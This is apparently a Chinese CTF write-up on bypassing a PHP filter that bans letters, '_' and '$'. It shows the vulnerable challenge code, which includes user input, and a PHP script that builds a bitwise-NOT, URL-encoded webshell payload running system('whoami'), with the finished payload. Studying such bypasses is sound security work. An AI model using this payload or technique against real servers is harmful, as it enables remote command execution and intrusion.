0x00 前言

有幸遇到一次这个问题,还是朋友发给我的题目。

纠结了许久最后还是另外一个朋友发我2篇 P牛大佬 的文章解决的

这里发一下大牛的两个文章

一些不包含数字和字母的webshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

无字母数字webshell之提高篇
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

如果访问不了的话,可以下载pdf查看
一些不包含数字和字母的webshell _ 离别歌.pdf
无字母数字webshell之提高篇 _ 离别歌.pdf

0x01 题目代码

  1. <?php
  2. $code = $_GET['code'];
  3. if (preg_match("/[A-Za-z_$]+/",$code)) {
  4. exit('GG');
  5. }
  6. file_put_contents('1.txt', $code);
  7. include '1.txt';
  8. ?>

禁止 英文字符 A-Z a-z 还不能使用特殊符号 _ $ 的

这样的条件来进行getshell

0x02 作者的环境

系统:windows8
服务器:Apache
php版本:7.1.13

0x03 构造绕过方法

看了 p牛的文章以后,绕过的方法很简单,所以我这里主要演示的是构造代码的方法。

因为我发现有挺多人不会构造语句的。

  1. <?php
  2. // 例如我现在要执行的命令 call_user_func('system', 'whoami');
  3. // 那么构造方法就是如下
  4. echo urlencode('<?=1;');
  5. echo '('.'~'.urlencode(~('call_user_func')).')';
  6. echo '(';
  7. echo '('.'~'.urlencode(~('system')).'),';
  8. echo '('.'~'.urlencode(~('whoami')).')';
  9. echo ')';
  10. echo urlencode('?>');
  11. // 最后构造出来的代码就是
  12. // %3C%3F%3D1%3B(~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C)((~%8C%86%8C%8B%9A%92),(~%88%97%90%9E%92%96))%3F%3E
  13. // 执行的代码就是:<?=1;call_user_func('system', 'whoami');?>

image.png